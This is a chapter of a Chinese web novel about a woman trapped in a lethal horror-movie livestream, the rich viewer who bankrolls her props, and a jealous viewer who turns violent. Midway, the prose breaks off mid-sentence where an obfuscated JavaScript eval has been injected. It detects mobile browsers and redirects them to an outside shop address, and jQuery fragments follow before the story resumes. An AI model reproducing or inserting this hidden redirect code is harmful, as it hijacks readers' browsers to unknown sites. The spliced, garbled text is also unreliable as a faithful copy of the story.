何雪枝悄摸拉开门,男人迎了上来,手握虚拳放在嘴边咳了一声,认真地说:“我觉得有必要证明一下自己,我真的是个好人。”
何雪枝无奈一笑:“好,我相信你是个好人。你叫什么名字?”
男人胸脯挺了挺:“我叫苏逸。……”
“好,苏逸。”他似乎还想接上段冗长的自我介绍,何雪枝赶忙切入正题,把他拉到院子的角落,“我想问你几个问题。”
苏逸乖乖点头,一副只要你相信我是个好人问什么都可以的表情。
“第一个问题,你为什么这个时间来找我?”
“因为你暗示得很明显。四万,二十五万,不像是随口说出来的数字,而像是某种有特定含义的讯息。加上你后面说的内容,很容易能联想到时间——清晨,四时二十五分,你想在这个时间跟我见面,听我证明自己。”
何雪枝心中竟有几分高兴,没想到这人不仅长得不错,还这么上道。当着直播间几百人的面,她只能隐晦暗示,本来没指望对方能读懂,没想到他真的来了。
真是甚好啊,甚好。
这么一高兴,她的戒心就放下去许多,人嘛,哪有那么多纯坏的?直播间里有幸灾乐祸看她出丑的观众,肯定也有心存不忍看不过去的观众。
她勾着唇角道:“第二个问题,这直播间到底是什么来头?”说着指了指自己的右眼。
苏逸依旧知无不言:“具体我也不清楚,大概从三个月前起吧,回声井里开始出现在这种直播间。本来人们以为只是演员在演绎穿越进不同影片的情节,直到后来有主播被杀死。原来真的有人研发出了使人类进入影片的装置,甚至形成了上百个直播间的产业链条,大量怀有猎奇心理的人涌入直播间观看主播的惨状。”
“我是不忍心看那些主播受折磨,所以才会守在各个直播间里,尽量在不引人注意的前提下给他们买点道具。再次重申,我从来没有产生过那种心理,我真的是个好人。”
何雪枝咽了口唾沫,“那……那被杀死的主播会怎么样?”
“在现实中死去。我调查过部分能查到信息的主播,他们无一例外,全在同一时间死于心脏骤停。”
“怎么会有这种直播间!我……我根本什么都不知道,莫名其妙就被拉进来了……”何雪枝有点呼吸不上来,追问道:“回声井是什么?”
苏逸答道:“是一个直播平台,回声井,你没有听说过吗?可能确实比较小众吧。”
“哦。”她勾着的唇角无意识放平了些,又问出第三个问题。
“我要怎么才能离开这个直播间?”
苏逸沉默片刻,摇了摇头,“除了存活到影片最后,没有别的方法。”
“有什么能提前离开村子的剧情节点吗?”
“没有。”
何雪枝又哦了一声,满肚子的问题,此刻也没什么好问的了。
好容易燃起的希望又被掐灭了,她很失望,反正不管怎么说,还是要留在恐怖片里探索,面对一堆不开窍的角色,稍有不慎就得交代在这里。
苏逸拍拍她的头:“坚强点啊,我会买很多道具帮你的!”
何雪枝后撤半步,不大相信:“你哪有那么多钱。”
“嘿,我很有钱的好吧!”苏逸绷起一张脸,作势要生气,“有没有搞错,我可是一名货真价实的富二代,超级有钱的那种!别说你这个直播间了,再来一百个直播间,我也是能买得过来的好吧!”
何雪枝的心情终于明朗了一些,轻声说:“好好好,你是个富二代,你有钱,小声点吧,别把人吵醒了。”
她看着对方的脸,苏逸似乎又在笑了,那笑容很潇洒,自信,从容,好像真的可以让人放下戒备去依靠。
真是个怪人。
不过这样刚好,她很乐意有个冤大头给自己买道具。
又问了些关于剧情的内容,天渐渐亮了,两人默契地停止交谈。何雪枝转身回到房里,苏逸则又往角落里走了几步,随着嘎巴一声,他一脚踩进了陷阱坑里。
……
天亮以后,何雪枝又去了村里的石材厂,买回来一大堆石砖,石条,黏土,碎石块,砂浆等等等等。
她本来已经没有钱了,全靠货真价实超级有钱的富二代苏少爷鼎力相助,随手一掏,好家伙,十万块!
什么人能随身带着十万块啊?!
弹幕也对她突然变有钱了惊讶不已,各种猜测铺满屏幕。
“主播原来这么有钱吗?前面给屋顶铺了瓦,墙上装了铁丝,院子里挖了陷阱,竟然还能拿出这么多红票票。”
“富婆姐姐我不盼着你死了,出来分我点呗。”
“上面的别做梦了,一个姑娘家哪来的钱,我看过她的钱包,早被花的一干二净了,我看是有人给了她钱吧!”
“谁这么大方……”
“咱们直播间的,除了那个人还有谁?”
金色弹幕应声出现在屏幕中央,语气依旧嚣张。
“啊对,没错就是我,怎么样,随随便便就是十万块。哥有实力吧!”
不少人叹道:“有实力,太有实力了!”
金色弹幕:“这就对了,我能随随便便给陌生主播打赏十万块钱,自然也能给直播间的兄弟们发点福利,这样吧,大家都给主播点点赞,我也发几个红包奖励一下大家!来来来,小红心都点起来!”
何雪枝:……
直播间里的气氛瞬间高涨起来,无数的红心图标从屏幕底部涌出,飞到半空炸成一团团小烟花,右上角的点赞数迅速跃升至两千。流量的激增使得直播间被推送到首页,更多观众点击进入直播间,又被金色弹幕的福利吸引,开始疯狂点赞。
短短几分钟,在线人数突破了5000名,还有向上增长的趋势!
何雪枝清了清嗓子,抓紧机会,对镜头打了个招呼:“哈喽啊,进入直播间的各位。”
一开始讲话,她是感到不自在的,声音哆哆嗦嗦,不过说上几句之后,很快找到了感觉。
伸手一指身边的砖头堆,道:“各位请看这边,接下来呢,我要在这里盖一座碉堡……为什么要在这里盖碉堡?那当然是因为……”
之后的时间,何雪枝详尽讲述了昨天夜间发生的每一个细节,每说一句,耳边就会响起清脆悦耳的【积分+2000】提示。
眼看积分数额达到了惊人的80000,她嘴角的弧度再也压不下去了,连带着看直播间里的观众都顺眼了不少。
这时有一条弹幕忍不住道:“富哥是什么意思啊?为什么一直在帮这个女生?”
直播间里早有人按捺不住,立即附和道:“对啊对啊,我可不是来看讲故事过家家的,根本一点意思没有嘛!”
“富哥自己想玩儿,也别破坏咱们普通观众的体验啊,这都打赏多少道具了。”
“是啊,给主播的打赏就几千几万的,给我们的就几百块钱么?”
虽说苏逸连着往直播间里发了四五个几百的红包,但毕竟狼多肉少,折合下来大部分人分到的还不足一块,更有倒霉的,连一分钱都没抢到。
这点小恩小惠显然无法满足他们的欲望,不满的声音愈发强烈。
苏逸站出来顺着众人的猜测,说了些是想让主播放
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17494564|202414||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
松警惕啦,故意耍着玩啦云云的话,但众人根本不信。
一条紫色的中级vip用户更是直言:“你当我们是傻子吗?这直播间的主播能看见弹幕,是不是耍着她,她难道看不出来?”
舆论越来越倒向不利,何雪枝挑了挑眉,本该心急如焚,心中却不由腹诽,还是现实里的人聪明,要是这恐怖片里的角色能有一半这种思维就好了。
她开口打断争执,注视着镜头平静道:“耍我还是没耍我,有什么关系吗?”
紫色弹幕:“啊?”
何雪枝漫不经心捋着头发,声音又轻又软,还掺了些平日里绝不会有的娇蛮:“这位紫色弹幕的观众,你觉得我现在最需要的是什么?”
紫色弹幕答不上来了。
何雪枝啧道:“笨啊,我现在最需要的当然是道具!所以说啊,我才不在乎什么耍我不耍我呢,能给我道具的都是大好人,真相有那么重要吗?”
紫色弹幕急了:“你……你……”
你了半天,最后发出来一句。
“你怎么这么没骨气!”
何雪枝:“骨气哪有命重要?你说是不是,金色弹幕哥哥?”
一声哥哥下去,她浑身的鸡皮疙瘩掉了一地,苏逸也半天没发出弹幕。何雪枝心想这人怎么回事?在直播间里装纨绔厉害得很,现在倒接不上戏了。
好在这番表演已经起了效果,直播间里的观众们恍然大悟。
“原来是这样!我说富哥怎么白给外人送钱!”
“我怎么就没想到呢!完全可以用道具来要挟主播啊!果然还是你们有钱人会玩。”
“血腥刺激的剧情看多了,偶尔换换口味也不错,主播给我们跳个舞吧,我给你打赏一瓶【清泉】啊。”
“话虽这么说,但这直播间里的道具太贵了吧,最便宜的【清泉】也要一百块,真不是一般人能消费起的啊。”
“我说刚才那个紫色弹幕怎么口气那么差呢,合着是打赏不过人家,嫉妒了啊!”
紫色弹幕红温了:“谁嫉妒了?我实话实说好吧!”
“得了吧,你嫉不嫉妒我还看不出来?就是个小丑罢了。”
“是咯!你要是真不服气,也往里砸钱啊,什么时候把你那紫色气泡充值成黄色,再充值成金色,我们也会捧着你的。”
弹幕上冷嘲热讽的声音越来越多,风向彻底转变,都去围攻那可怜的紫色弹幕去了。
……
某处狭窄逼仄的阁楼间里,少年气得脖颈子通红,一把扯下二手市场淘来的旧耳机,重重往满是划痕的桌子上一摔。
“有病吧!!”他歇斯底里地怒吼着,“什么叫我嫉妒?我至于嫉妒他??”
“一群废物!废物!!我充的钱还不多?足足一万块钱才能升级成紫色气泡好吧!!你们这群普通弹幕的废物,有什么资格说我?哪个不该嫉妒我?!”
电脑屏幕上还停留在直播间的画面,少女正埋头拾起几块砖头,在房屋前比划,他眼底的戾气逐渐加重,胸口剧烈起伏着。
“什么狗屁主播,还敢教训起我来了?以为自己是什么东西啊!我必须得给你点颜色瞧瞧……得再搞点钱……”
他自言自语着在房间各处扒拉,拉开这个抽屉,打开那个柜子,奈何这屋里值钱的东西早被他变卖得半点不剩,只剩下几件送出去都没人要的破烂货。
少年翻了半天,一脚踹在柜门上,本就快散架的储物柜立马出现了个大洞。
他停下来又大喘了几口气,抓起桌上的酒瓶子猛灌了几口,神情变得癫狂起来,拾起墙角一根榔头,摇摇晃晃出了门。